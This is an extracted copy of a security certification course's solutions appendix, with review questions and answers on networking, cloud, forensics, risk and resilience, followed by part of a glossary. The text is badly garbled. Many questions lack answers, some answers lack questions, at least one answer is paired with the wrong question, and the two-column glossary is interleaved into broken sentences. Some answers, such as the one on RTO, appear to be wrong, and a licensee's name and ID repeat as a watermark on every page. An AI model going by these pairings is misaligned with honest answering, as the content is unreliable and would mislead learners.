The only option for monitoring intra-switch traffic is to use a mirrored port.
Installing definition/signature updates and removing definitions that are not relevant to the hosts or services
running on your network.
3. What is the principal risk of deploying an intrusion prevention system with behavior-based
detection?
Behavior-based detection can exhibit high false positive rates, where legitimate activity is wrongly identified as
malicious. With automatic prevention, this will block many legitimate users and hosts from the network, causing
availability and support issues.
4. If a Windows system file fails a file integrity check, should you suspect a malware infection?
5. What is a WAF?
A web application firewall (WAF) is designed to protect HTTP and HTTPS applications. It can be configured with
signatures of known attacks against applications, such as injection-based attacks or scanning attacks.
Security information and event management (SIEM) products aggregate IDS alerts and host logs from multiple
sources, then perform correlation analysis on the observables collected to identify indicators of compromise and
alert administrators to potential incidents.
2. What is the difference between a sensor and a collector, in the context of SIEM?
A SIEM collector parses input (such as log files or packet traces) into a standard format that can be recorded
within the SIEM and interpreted for event correlation. A sensor collects data from the network media.
No, syslog allows remote hosts to send logs to a server, but syslog does not aggregate/normalize the log data or
run correlation rules to identify alertable events.
4. You are writing a shell script to display the last 5 lines of a log file at /var/log/audit in a dashboard.
What is the Linux command to do this?
tail /var/log/audit -n 5
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-20 | Solutions
Denial of service (providing an invalid address configuration) and spoofing (providing a malicious address
configuration—one that points to a malicious DNS, for instance).
DNS resolves domain names. If it were to be corrupted, users could be directed to spoofed websites. Disrupting
DNS can also perform denial of service.
3. True or false? The contents of the HOSTS file are irrelevant as long as a DNS service is properly
configured.
False (probably)—the contents of the HOSTS file are written to the DNS cache on startup. It is possible to edit the
registry to prioritize DNS over HOSTS, though.
Corrupting the records of a DNS server to point traffic destined for a legitimate domain to a malicious IP address.
5. True or false? DNSSEC depends on a chain of trust from the root servers down.
True.
The Simple Authentication and Security Layer (SASL) allows a choice of authentication providers and encryption
(sealing)/integrity (signing) mechanisms. By contrast, LDAPS uses Transport Layer Security (TLS) to encrypt traffic,
but users still authenticate via simple binding. Also, SASL is the standards-based means of configuring LDAP
security.
Configure strong community names and use access control lists to restrict management operations to known
hosts.
1. What type of attack against HTTPS aims to force the server to negotiate weak ciphers?
A downgrade attack.
2. A client and server have agreed on the use of the cipher suite ECDHE-ECDSA-AES256- GCM-SHA384 for
a TLS session. What is the key strength of the symmetric encryption algorithm?
256-bit (AES).
3. What security protocol does SFTP use to protect the connection and which port does an SFTP server
listen on by default?
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-21
4. Which port(s) and security methods should be used by a mail client to submit messages for delivery
by an SMTP server?
Port 587 with STARTTLS (explicit TLS) or port 465 with implicit TLS.
5. When using S/MIME, which key is used to encrypt a message?
The recipient's public key (principally). The public key is used to encrypt a symmetric session key and (for
performance reasons) the session key does the actual data encoding. The session key and, therefore, the
message text can then only be recovered by the recipient, who uses the linked private key to decrypt it.
6. Which protocol protects the contents of a VoIP conversation from eavesdropping?
Encrypted VoIP data is carried over the Secure Real-time Transport Protocol (SRTP).
1. True or false? A TLS VPN can only provide access to web-based network resources.
False—a Transport Layer Security (TLS) VPN uses TLS to encapsulate the private network data and tunnel it over
the network. The private network data could be frames or IP-level packets and is not constrained by application-
layer protocol type.
2. What is Microsoft's TLS VPN solution?
The Secure Sockets Tunneling Protocol (SSTP).
3. What IPSec mode would you use for data confidentiality on a private network?
Transport mode with Encapsulating Security Payload (ESP). Tunnel mode encrypts the IP header information,
but this is unnecessary on a private network. Authentication Header (AH) provides message authentication and
integrity but not confidentiality.
4. Which protocol is often used in conjunction with IPSec to provide a remote access client VPN with
user authentication?
Layer 2 Tunneling Protocol (L2TP).
5. What is the main advantage of IKE v2 over IKE v1?
Rather than just providing mutual authentication of the host endpoints, IKE v2 supports a user account
authentication method, such as Extensible Authentication Protocol (EAP).
6. What bit of information confirms the identity of an SSH server to a client?
The server's public key (host key). Note that this can only be trusted if the client trusts that the public key is valid.
The client might confirm this manually or using a Certificate Authority.
The Trusted Platform Module (TPM) is a tamper-proof (at least in theory) cryptographic module embedded in the
CPU or chipset. This can provide a means to sign the report of the system configuration so that a network access
control (NAC) policy enforcer can trust it.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-22 | Solutions
2. Why are OS-enforced file access controls not sufficient in the event of the loss or theft of a computer
or mobile device?
The disk (or other storage) could be attached to a foreign system and the administrator could take ownership
of the files. File-level, full disk encryption (FDE), or self-encrypting drives (SED) mitigate this by requiring the
presence of the user's decryption key to read the data.
3. What use is a TPM when implementing full disk encryption?
A trusted platform module provides a secure mechanism for creating and storing the key used to encrypt the
data. Access to the key is provided by configuring a password. The alternative is usually to store the private key
on a USB stick.
4. What countermeasures can you use against the threat of malicious firmware code?
Only use reputable suppliers for peripheral devices and strictly controlled sources for firmware updates.
Consider use of a sheep dip sandboxed system to observe a device before allowing it to be attached to a host in
the enterprise network. Use execution control software to allow only approved USB vendors.
5. What type of interoperability agreement would be appropriate at the outset of two companies
agreeing to work with one another?
A memorandum of understanding (MOU).
6. What type of interoperability agreement is designed to ensure specific performance standards?
A service level agreement (SLA). In addition, performance standards may also be incorporated in business
partner agreements (BPAs).
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-23
1. Other than cost, which factor primarily constrains embedded systems in terms of compute and
networking?
Power—many embedded systems must operate on battery power, and changing the batteries is an onerous task,
so power-hungry systems like processing and high bandwidth or long-range networking are constrained.
2. True or false? While fully customizable by the customer, embedded systems are based on either the
Raspberry Pi or the Arduino design.
False—these are examples of one-board computers based on the system on chip (SoC) design. They are widely
used in education (and leisure). Some are used for industrial applications or for proof-of-concept designs, but
most embedded systems are manufactured to specific requirements.
A LTE-based cellular radio, such as narrowband-IoT, uses a subscriber identity module (SIM) card as an identifier.
This can either be installed as a plug-in card or configured as an eSIM chip on the system board or feature in a
SoC design
4. You are assisting with the preparation of security briefings on embedded systems tailored to
specific implementations of embedded systems. Following the CompTIA Security+ syllabus, you have
created the industry-specific advice for the following sectors—which one do you have left to do?
5. Why should detailed vendor and product assessments be required before allowing the use of IoT
devices in the enterprise?
As systems with considerable computing and networking functionality, these devices are subject to the same sort
of vulnerabilities and exploits as ordinary workstations and laptops. It is critical to assess the vendor's policies
in terms of the security design for the product and support for identifying and mitigating any vulnerabilities
discovered in its use.
1. What type of deployment model(s) allow users to select the mobile device make and model?
Bring Your Own Device (BYOD) and Choose Your Own Device (CYOD).
Virtual Desktop Infrastructure (VDI) allows a client device to access a VM. In this scenario, the mobile device is the
client device. Corporate data is stored and processed on the VM so there is less chance of it being compromised,
even though the client device itself is not fully managed.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-24 | Solutions
3. Company policy requires that you ensure your smartphone is secured from unauthorized access in
case it is lost or stolen. To prevent someone from accessing data on the device immediately after it
has been turned on, what security control should be used?
Screen lock.
4. An employee's car was recently broken into, and the thief stole a company tablet that held a
great deal of sensitive data. You've already taken the precaution of securing plenty of backups
of that data. What should you do to be absolutely certain that the data doesn't fall into the
wrong hands?
5. What is containerization?
A mobile app or workspace that runs within a partitioned environment to prevent other (unauthorized) apps
from interacting with it.
The user installs an app directly onto the device rather than from an official app store.
7. Why might a company invest in device control software that prevents the use of recording devices
within company premises?
Enterprise Mobility Management (EMM) solutions depend on the device user not being able to override their
settings or change the effect of the software. A rooted or jailbroken device means that the user could subvert the
access controls.
1. How might wireless connection methods be used to compromise the security of a mobile device
processing corporate data?
An attacker might set up some sort of rogue access point (Wi-Fi) or cell tower (cellular) to perform eavesdropping
or man-in-the-middle attacks. For Personal Area Network (PAN) range communications, there might be an
opportunity for an attacker to run exploit code over the channel.
2. Why might enforcement policies be used to prevent USB tethering when a smartphone is brought to
the workplace?
This would allow a PC or laptop to connect to the Internet via the smartphone's cellular data connection. This
could be used to evade network security mechanisms, such as data loss prevention or content filtering.
3. True or false? A maliciously designed USB battery charger could be used to exploit a mobile device
on connection.
True (in theory)—though the vector is known to the mobile OS and handset vendors so the exploit is unlikely to
be able to run without user authorization.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-25
4. Chuck, a sales executive, is attending meetings at a professional conference that is also being
attended by representatives of other companies in his field. At the conference, he uses his
smartphone with a Bluetooth headset to stay in touch with clients. A few days after the conference,
he finds that competitors' sales representatives are getting in touch with his key contacts and
influencing them by revealing what he thought was private information from his email and
calendar. Chuck is a victim of which wireless threat?
Bluesnarfing.
1. Your log shows that the Notepad process on a workstation running as the local administrator
account has started an unknown process on an application server running as the SYSTEM account.
What type of attack(s) are represented in this intrusion event?
The Notepad process has been compromised, possibly using buffer overflow or a DLL/process injection attack.
The threat actor has then performed lateral movement and privilege escalation, gaining higher privileges through
remote code execution on the application server.
The integer value could be used to allocate less memory than a process expects, making a buffer overflow easier
to achieve.
3. You are providing security advice and training to a customer's technical team. One asks how they
can identify when a buffer overflow occurs. What is your answer?
Real time detection of a buffer overflow is difficult, and is typically only achieved by security monitoring software
(antivirus, endpoint detection and response, or user and entity behavior analytics) or by observing the host
closely within a sandbox. An unsuccessful attempt is likely to cause the process to crash with an error message.
If the attempt is successful, the process is likely to show anomalous behavior, such as starting another process,
opening network connections or writing to AutoRun keys in the registry. These indicators can be recorded using
logging and system monitoring tools.
A process claims memory locations but never releases them, reducing the amount of memory available to other
processes. This will damage performance, could prevent other processes from starting, and if left unchecked
could crash the OS.
Various OS system functions allow one process to manipulate another and force it to load a dynamic link library
(DLL). This means that the malware code can be migrated from one process to another, evading detection.
6. Other than endpoint protection software, what resource can provide indicators of pass the hash
attacks?
These attacks are revealed by use of certain modes of NTLM authentication within the security (audit) log of the
source and target hosts. These indicators can be prone to false positives, however, as many services use NTLM
authentication legitimately.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-26 | Solutions
1. You are reviewing access logs on a web server and notice repeated requests for URLs containing the
strings %3C and %3E. Is this an event that should be investigated further, and why?
Those strings represent percent encoding for HTML tag delimiters (< and >). This could be an XSS attempt to
inject a script so should be investigated.
2. You have been asked to monitor baseline API usage so that a rate limiter value can be set. What is
the purpose of this?
A rate limiter will mitigate denial of service (DoS) attacks on the API, where a malicious entity generates millions
of spurious requests to block legitimate ones. You need to establish a baseline to ensure continued availability
for legitimate users by setting the rate limit at an appropriate level.
The attacker captures some data, such as a cookie, used to log on or start a session legitimately. The attacker
then resends the captured data to re-enable the connection.
The attacker inserts an invisible layer into a trusted web page that can intercept or redirect input without the
user realizing.
Where the attacker inserts malicious code into the back-end database used to serve content to the trusted site.
6. How might an attacker exploit a web application to perform a shell injection attack?
The attacker needs to find a vulnerable input method, such as a form control or URL or script parser, that will
allow the execution of OS shell commands.
7. You are improving back-end database security to ensure that requests deriving from front-end web
servers are authenticated. What general class of attack is this designed to mitigate?
Server-side request forgery (SSRF) causes a public server to make an arbitrary request to a back-end server. This
is made much harder if the threat actor has to defeat an authentication or authorization mechanism between
the web server and the database server.
1. What type of programming practice defends against injection-style attacks, such as inserting SQL
commands into a database application from a site search form?
Input validation provides some mitigation against this type of input being passed to an application via a user
form. Output encoding could provide another layer of protection by checking that the query that the script
passes to the database is safe.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-27
Output encoding ensures that strings are made safe for the context they are being passed to, such as when a
JavaScript variable provides output to render as HTML. Safe means that the string does not contain unauthorized
syntax elements, such as script tags.
3. You are discussing execution and validation security for DOM scripting with the web team. A junior
team member wants to know if this relates to client-side or server-side code. What is your response?
The document object model (DOM) is the means by which a script (JavaScript) can change the way a page is
rendered. As this change is rendered by the browser, it is client-side code.
A default error message might reveal platform information and the workings of the code to an attacker.
A software development kit (SDK) contains tools and code examples released by a vendor to make developing
applications within a particular environment (framework, programming language, OS, and so on) easier. Any
element in the SDK could contain vulnerabilities that could then be transferred to the developer's code or
application.
7. What type of dynamic testing tool would you use to check input validation on a web form?
A fuzzer can be used to submit known unsafe strings and randomized input to test whether they are made safe
by input validation or not.
1. You have been asked to investigate a web server for possible intrusion. You identify a script with
the following code. What language is the code in and does it seem likely to be malicious?
2. Which tools can you use to restrict the use of PowerShell on Windows 10 clients?
There are various group policy-based mechanisms, but for Windows 10, the Windows Defender Application
Control (WDAC) framework provides the most powerful toolset for execution control policies.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-28 | Solutions
3. A log shows that a PowerShell IEX process attempted to create a thread in the target image c:\
Windows\System32\lsass.exe. What is the aim of this attack?
The Local Security Authority Subsystem Service (LSASS) enforces security policies, including authentication
and password changes. Consequently, it holds hashes of user passwords in memory. Attacks on lsass.exe are
typically credential dumping to steal those hashes.
4. You are discussing a security awareness training program for an SME's employees. The business
owner asserts that as they do not run Microsoft Office desktop apps, there should be no need to
cover document security and risks from embedded macros and scripts. Should you agree and not
run this part of the program?
No. While Visual Basic for Applications (VBA) can only be used with Microsoft Office, other types of document can
contain embedded scripts, such as JavaScript in PDFs. Other Office suites, such as OpenOffice and LibreOffice,
use scripting languages for macros too.
Creating secure development environments for the different phases of a software development project (initial
development server, test/integration server, staging [user test] server, production server).
2. What feature is essential for managing code iterations within the provisioning and deprovisioning
processes?
3. Which life cycle process manages continuous release of code to the production environment?
Continuous deployment.
4. How does a specially configured compiler inhibit attacks through software diversity?
The compiler can apply obfuscation routines to make the code difficult for a threat actor to reverse engineer and
analyze for vulnerabilities.
A solution hosted by a third party cloud service provider (CSP) and shared between subscribers (multi-tenant).
This sort of cloud solution has the greatest security concerns.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-29
Software that manages virtual machines that has been installed to a guest OS. This is in contrast to a Type I (or
"bare metal") hypervisor, which interfaces directly with the host hardware.
4. What is a VDE?
A Virtual Desktop Environment (VDE) is the workspace presented when accessing an instance in a virtual desktop
infrastructure (VDI) solution. VDI is the whole solution (host server and virtualization platform, connection
protocols, connection/session broker, and client access devices).
VM escaping refers to attacking other guest OSes or the hypervisor or host from within a virtual machine. Attacks
may be to steal information, perform Denial of Service (DoS), infect the system with malware, and so on.
1. Describe some key considerations that should be made when hosting data or systems via a cloud
solutions provider.
Integrate auditing and monitoring procedures and systems with on-premises detection, identify responsibility for
implementing security controls (such as patching or backup), identify performance metrics in an SLA, and assess
risks to privacy and confidentiality from breaches at the service provider.
2. True or false? The account with which you register for the CSP services is not an account with root
privileges.
False—this account is the root account and has full privileges. It should not be used for day-to-day administration
or configuration.
3. Which security attribute is ensured by monitoring API latency and correcting any problems quickly?
4. What format is often used to write permissions statements for cloud resource policies?
False. There are limits to the number of virtual private clouds (VPCs) that can be created, but more than one is
allowed.
This is accomplished by assigning the instance to a security group with the relevant policy configured.
Enterprise management software mediating access to cloud services by users to enforce information and access
policies and audit usage.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-30 | Solutions
1. A company has been using a custom-developed client-server application for customer management,
accessed from remote sites over a VPN. Rapid overseas growth has led to numerous complaints
from employees that the system suffers many outages and cannot cope with the increased number
of users and access by client devices such as smartphones. What type of architecture could produce
a solution that is more scalable?
Microservices is a suitable architecture for replacing monolithic client-server applications that do not meet
the needs of geographically diverse, mobile workforces. By breaking the application up into microservice
components and hosting these in cloud containers, performance can scale to demand. Web-based APIs are
better suited to browser-based access on different device types.
2. You have been asked to produce a summary of pros and cons for the products Chef and Puppet.
What type of virtualization or cloud computing technology do these support?
These are orchestration tools. Orchestration facilitates "automation of automation," ensuring that scripts and API
calls are made in the right order and at the right time to support an overall workflow.
False. With serverless, the provision of functions running in containers is abstracted from the underlying server
hardware. The point is that as a consumer, you do not perform any server management. The servers are still
present, but they are operated and maintained by the cloud service provider.
4. A company's web services are suffering performance issues because updates keep failing to run on
certain systems. What type of architecture could address this issue?
Infrastructure as Code (IaC) means that provisioning is performed entirely from standard scripts and
configuration data. The absence of manual configuration adjustments or ad hoc scripts to change settings
is designed to eliminate configuration drift so that updates run consistently between the development and
production environments.
5. What is SDV?
Software-defined visibility (SDV) gives API-based access to network infrastructure and hosts so that configuration
and state data can be reported in near real-time. This facilitates greater automation in models and technologies
such as zero trust, inspection of east/west data center traffic, and use of security orchestration and automated
response (SOAR) tools.
1. What is the difference between the role of data steward and the role of data custodian?
The data steward role is concerned with the quality of data (format, labeling, normalization, and so on). The data
custodian role focuses on the system hosting the data assets and its access control mechanisms.
2. What range of information classifications could you implement in a data labeling project?
One set of tags could indicate the degree of confidentiality (public, confidential/secret, or critical/top secret).
Another tagging schema could distinguish proprietary from private/sensitive personal data.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-31
Personally identifiable information is any data that could be used to identify, contact, or locate an individual.
4. You are reviewing security and privacy issues relating to a membership database for a hobbyist site
with a global audience. The site currently collects account details with no further information. What
should be added to be in compliance with data protection regulations?
The site should add a privacy notice explaining the purposes the personal information is collected and used for.
The form should provide a means for the user to give explicit and informed consent to this privacy notice.
5. You are preparing a briefing paper for customers on the organizational consequences of data and
privacy breaches. You have completed sections for reputation damage, identity theft, and IP theft.
Following the CompTIA Security+ objectives, what other section should you add?
Data and privacy breaches can lead legislators or regulators to impose fines. In some cases, these fines can be
substantial (calculated as a percentage of turnover).
1. To what data state does a trusted execution environment apply data protection?
2. You take an incident report from a user trying to access a REPORT.docx file on a SharePoint site. The
file has been replaced by a REPORT.docx.QUARANTINE.txt file containing a policy violation notice.
What is the most likely cause?
This is typical of a data loss prevention (DLP) policy replacing a file involved in a policy violation with a tombstone
file.
3. You are preparing a solution overview on privacy enhancing technologies based on CompTIA
Security+ syllabus objectives. You have completed notes under the following headings—which other
report section do you need?
Tokenization—replacing data with a randomly-generated token from a separate token server or vault. This allows
reconstruction of the original data if combined with the token vault.
2. True or false? It is important to publish all security alerts to all members of staff.
False—security alerts should be sent to those able to deal with them at a given level of security awareness and
on a need-to-know basis.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-32 | Solutions
3. You are providing security consultancy to assist a company with improving incident response
procedures. The business manager wants to know why an out-of-band contact mechanism for
responders is necessary. What do you say?
The response team needs a secure channel to communicate over without alerting the threat actor. There may
also be availability issues with the main communication network, if it has been affected by the incident.
5. Your consultancy includes a training segment. What type of incident response exercise will best
represent a practical incident handling scenario?
A simulation exercise creates an actual intrusion scenario, with a red team performing the intrusion and a blue
team attempting to identify, contain, and eradicate it.
1. True or false? The "first responder" is whoever first reports an incident to the CIRT.
False—the first responder would be the member of the CIRT to handle the report.
2. You need to correlate intrusion detection data with web server log files. What component must you
deploy to collect IDS alerts in a SIEM?
You need to deploy a sensor to send network packet captures or intrusion detection alerts to the SIEM.
3. Which software tool is most appropriate for forwarding Windows event logs to a Syslog-compatible
server?
4. A technician is seeing high volumes of 403 Forbidden errors in a log. What type of network appliance
or server is producing these logs?
403 Forbidden is an HTTP status code, so most likely a web server. Another possibility is a web proxy or gateway.
5. What type of data source(s) would you look for evidence of a suspicious MTA in?
A Message Transfer Agent (MTA) is an SMTP server. You might inspect an SMTP log or the Internet header
metadata of an email message.
6. You are supporting a SIEM deployment at a customer's location. The customer wants to know
whether flow records can be ingested. What type of data source is a flow record?
Flow records are generated by NetFlow or IP Flow Information Export (IPFIX) probes. A flow record is data that
matches a flow record, which is a particular combination of keys (IP endpoints and protocol/port types).
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-33
Network segmentation is primarily achieved by virtual LANs (VLANs). A VLAN can be isolated from the rest of the
network.
2. What configuration change could you make to prevent misuse of a developer account?
3. Following a loss of critical IP exfiltrated from the local network to a public cloud storage network,
you decide to implement a type of outbound filtering system. Which technology is most suitable for
implementing the filter?
This task is suited to data loss prevention (DLP), which can block the transfer of tagged content over
unauthorized channels.
4. A threat actor gained access to a remote network over a VPN. Later, you discover footage of
the user of the hacked account being covertly filmed while typing their password. What type of
endpoint security solution might have prevented this breach?
A mobile device management (MDM) suite can prevent use of the camera function of a smartphone.
5. True or false? SOAR is intended to provide wholly automated incident response solutions.
False—incident response is too complex to be wholly automated. SOAR assists the provision of runbooks, which
orchestrates the sequence of response and automate parts of it, but still requires decision-making from a human
responder.
6. You are investigating a client workstation that has not obtained updates to its endpoint protection
software for days. On the workstation you discover thousands of executable files with random
names. The local endpoint log reveals that all of them have been scanned and identified as malware.
You can find no evidence of any further intrusion on the network. What is the likely motive of the
threat actor?
This could be an offline tainted data attack against the endpoint software's identification engine.
The evidence cannot be seen directly but must be interpreted so the validity of the interpreting process must be
unquestionable.
2. What should be the first action at a crime scene during a forensic investigation?
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-34 | Solutions
3. Why might a file time stamp not show the time at which a crime was committed?
The time stamp may record the Universal Coordinated Time rather than the local time. An offset would need to
be applied (and it might need to be demonstrated that the computer's time zone was correctly set).
4. You've fulfilled your role in the forensic process and now you plan on handing the evidence over to
an analysis team. What important process should you observe during this transition, and why?
It's important to uphold a record of how evidence is handled in a chain of custody. The chain of custody will
help verify that everyone who handled the evidence is accounted for, including when the evidence was in each
person's custody. This is an important tool in validating the evidence's integrity.
1. You must recover the contents of the ARP cache as vital evidence of a man-in-the-middle attack.
Should you shut down the PC and image the hard drive to preserve it?
No, the ARP cache is stored in memory and will be discarded when the computer is powered off. You can either
dump the system memory or run the arp utility and make a screenshot. In either case, make sure that you record
the process and explain your actions.
2. Which command-line tool allows image creation from disk media on any Linux host?
3. True or false? To ensure evidence integrity, you must make a hash of the media before making an
image.
True.
A carving tool allows close inspection of an image to locate artifacts. Artifacts are data objects and structures that
are not obvious from examination by ordinary file browsing tools, such as alternate data streams, cache entries,
and deleted file remnants.
1. What areas of a business or workflow must you examine to assess multiparty risk?
You need to examine supply chain dependencies to identify how problems with one or more suppliers would
impact your business. You also need to examine customer relationships to determine what liabilities you have
in the event of an incident impacting your ability to supply a product or service and what impact disruption of
important customer accounts would have, should cyber incidents disrupt their business.
Shadow IT is the deployment of hardware, software, or cloud services without the sanction of the system owner
(typically the IT department). The system owner will typically be liable for software compliance/licensing risks.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-35
3. What metric(s) could be used to make a quantitative calculation of risk due to a specific threat to a
specific function or asset?
Single Loss Expectancy (SLE) or Annual Loss Expectancy (ALE). ALE is SLE multiplied by ARO (Annual Rate of
Occurrence).
4. What factors determine the selection of security controls in terms of an overall budget?
The risk (as determined by impact and likelihood) compared to the cost of the control. This metric can be
calculated as Return on Security Investment (ROSI).
Risk transference.
A document highlighting the results of risk assessments in an easily comprehensible format (such as a heat map
or "traffic light" grid). Its purpose is for department managers and technicians to understand risks associated
with the workflows that they manage.
Control risk arises when a security control is ineffective at mitigating the impact and/or likelihood of the risk
factor it was deployed to mitigate. The control might not work as hoped, or it might become less effective over
time.
2. True or false? RTO expresses the amount of time required to identify and resolve a problem within a
single system or asset.
True.
Mean Time Between Failures (MTBF) represents the expected reliability of a product over its lifetime.
A discussion-based drill of emergency response procedures. Staff may role-play and discuss their responses but
actual emergency conditions are not simulated.
Full-scale or functional exercises can identify mistakes in the plan that might not be apparent when drafting
procedures. It also helps to familiarize staff with the plan.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-36 | Solutions
The maximum tolerable downtime (MTD) metric expresses the availability requirement for a particular business
function.
A scalable system is one that responds to increased workloads by adding resources without exponentially
increasing costs. An elastic system is able to assign or unassign resources as needed to match either an
increased workload or a decreased workload.
3. Which two components are required to ensure power redundancy for a blackout period extending
over 24 hours?
An uninterruptible power supply (UPS) is required to provide failover for the initial blackout event, before
switching over to a standby generator to supply power over a longer period.
Aside from RAID 0, RAID provides redundancy between a group of disks, so that if one disk were to fail, that data
may be recoverable from the other disks in the array.
1. What type of scheduled Windows backup job does not clear the archive attribute?
A differential backup. This type of backup selects all new and modified data since the previous full backup. You
could also mention copy backups, though these are usually ad hoc rather than scheduled.
The volume shadow copy service creates snapshots for the backup software to use, avoiding problems with file
locks and uncompleted database transactions.
True. As a security precaution, backup media can be taken offline at the completion of a job to mitigate the risk
of malware corrupting the backup.
4. You are advising a company about backup requirements for a few dozen application servers hosting
tens of terabytes of data. The company requires online availability of short-term backups, plus
offsite security media and long-term archive storage. The company cannot use a cloud solution.
What type of on-premises storage solution is best suited to the requirement?
The offsite and archive requirements are best met by a tape solution, but the online requirement may need
a RAID array, depending on speed. The requirement is probably not large enough to demand a storage area
network (SAN), but could be provisioned as part of one.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Solutions | S-37
5. What is the risk of not following a tested order of restoration when recovering a site from a major
incident?
There may be unmet dependencies between systems that are started in the wrong order. This could lead to boot
failures and possibly data corruption.
1. You are preparing a white paper on configuration management essentials for your customers. You
have the following headings already: Diagrams, Standard naming conventions, Internet protocol
(IP) schema. If you are basing your paper on the ComptTIA Security+ objectives, which other topic
should you cover?
The configuration baseline is an essential concept as it allows unauthorized change to be detected more easily
and planned change to be managed more easily.
Configuration errors are more likely, especially where complex access control lists (ACLs) and security monitoring
sensor deployment is required.
A change control process governs the way changes are requested and approved. A change management process
governs the way that planned change is implemented and the way unplanned change is handled.
Hot, warm, and cold sites, referring to the speed with which a site can failover.
5. You are preparing some briefing notes on diversity strategies for cybersecurity resilience for the
executive team. You have prepared sections on Technologies, Crypto, and Controls so far. What
other topic do you need to cover?
Vendor diversity.
6. How could a deception-based cybersecurity resilience strategy return fake telemetry to a threat
actor?
Fake telemetry means that when a threat actor runs port or host discovery scans, a spoof response is returned.
This could lead the threat actor to waste time probing the port or host IP address trying to develop an attack
vector that does not actually exist.
Lighting is one of the most effective deterrents. Any highly visible security control (guards, fences, dogs,
barricades, CCTV, signage, and so on) will act as a deterrent.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
S-38 | Solutions
One type of proximity reader allows a lock to be operated by a contactless smart card. Proximity sensors can also
be used to track objects via RFID tags.
3. What are the two main options for mobile camera surveillance?
A USB data blocker can be attached to the end of a cable to prevent a charging port from trying to make a data
connection.
1. What policy describes preventing any type of unauthorized computing, network, or storage
connection to a protected host?
This can be described as an air gap or secure area demilitarized zone (DMZ).
2. Where would you expect to find "hot and cold" aisles and what is their purpose?
This layout is used in a data center or large server room. The layout is the best way to maintain a stable
temperature and reduce loss of availability due to thermal problems.
Make conduit physically difficult to access, use alarms to detect attempts to interfere with conduit, and use
shielded cabling.
4. What physical security device could you use to ensure the safety of onsite backup tapes?
5. Which sanitization solution meets all the following requirements: compatible with both HDD and
SDD media, fast operation, and leaves the media in a reusable state?
A crypto erase or Instant Secure Erase (ISE) sanitizes media by encrypting the data and then erasing the
cryptographic key.
6. What type of physical destruction media sanitization method is not suitable for USB thumb drives?
Degaussing is ineffective against all types of flash media, including thumb drives, SSDs, hybrid drives, and
memory cards.
Solutions
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Glossary
AAA (authentication, authorization, air gap A type of network isolation that
and accounting) A security concept physically separates a network from all
where a centralized platform verifies other networks.
subject identification, ensures the subject AIS (Automated Indicator Sharing)
is assigned relevant permissions, and Threat intelligence data feed operated by
then logs these actions to create an audit the DHS.
trail.
ALE (annual loss expectancy) The
ABAC (attribute-based access control) total cost of a risk to an organization on
An access control technique that an annual basis. This is determined by
evaluates a set of attributes that each multiplying the SLE by the annual rate of
subject possesses to determine if access occurrence (ARO).
should be granted.
AP (access point) A device that provides
account policies A set of rules governing a connection between wireless devices
user security information, such as and can connect to wired networks. Also
password expiration and uniqueness, known as wireless access point or WAP.
which can be set globally.
API (application programming
ACL (Access Control List) A collection interface) A library of programming
of access control entries (ACEs) that utilities used, for example, to enable
determines which subjects (user accounts, software developers to access functions
host IP addresses, and so on) are allowed of the TCP/IP network stack under a
or denied access to the object and the particular operating system.
privileges given (read only, read/write, and
so on). application aware firewall A Layer 7
firewall technology that inspects packets
active defense The practice of at the Application layer of the OSI model.
responding to a threat by destroying or
deceiving a threat actor's capabilities. application firewall Software designed
to run on a server to protect a particular
adversarial AI (adversarial artificial application such as a web server or SQL
intelligence) Using AI to identify server.
vulnerabilities and attack vectors to
circumvent security systems. APT (advanced persistent threat) An
attacker's ability to obtain, maintain, and
AES (Advanced Encryption Standard) diversify access to network systems using
A symmetric 128-, 192-, or 256-bit block exploits and malware.
cipher based on the Rijndael algorithm
developed by Belgian cryptographers Joan Arduino Open-source platform producing
Daemen and Vincent Rijmen and adopted programmable circuit boards for
by the U.S. government as its encryption education and industrial prototyping.
standard to replace DES. ARO (annual rate of occurrence) In
Agile model (Agile) A software risk calculation, an expression of the
development model that focuses on probability/likelihood of a risk as the
iterative and incremental development number of times per year a particular loss
to account for evolving requirements and is expected to occur.
expectations. ARP inspection An optional security
AH (authentication header) An IPSec feature of a switch that prevents excessive
protocol that provides authentication for the ARP replies from flooding a network
origin of transmitted data as well as integrity segment.
and protection against replay attacks.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
G-2 | Glossary
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Glossary | G-3
Glossary
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
G-4 | Glossary
CCMP (counter mode with cipher block cloud deployment model Classifying the
chaining message authentication code ownership and management of a cloud as
